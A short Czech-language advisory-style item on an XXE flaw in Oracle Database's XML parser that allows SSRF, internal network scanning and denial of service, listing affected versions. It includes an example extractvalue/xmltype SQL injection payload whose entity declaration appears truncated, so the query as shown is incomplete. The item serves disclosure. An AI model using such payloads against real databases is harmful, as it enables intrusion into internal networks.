Bezpečnostní vlastnosti XML parseru v Oracle sice externí schémata blokují, ale ne jejich parsování. Útočník tak sice nemůže získat přístup k lokálním souborům, které jsou uložené na databázovém serveru, může ale odeslat speciálně vytvořený SQL dotaz, který spouští XLM Resolver, jenž se připojí na vzdálená zařízení skze HTTP nebo FTP kanál. Je tak možné například provádět skenování zařízení v interní síti, provádět útoky Server-Site Request Forgery (SSRF), nebo způsobit Denial of Services (DoS).
XML parser v Oraclu může být spuštěn voláním funkce extractvalue() objektu xmltype, jak ukazuje dotaz:
select extractvalue(xmltype(']>'|| '&' ||'xxe;'),'/l') from dual;Postižené jsou verze 12.1.0.1, 12.1.0.2, 11.2.0.3 a 11.2.0.4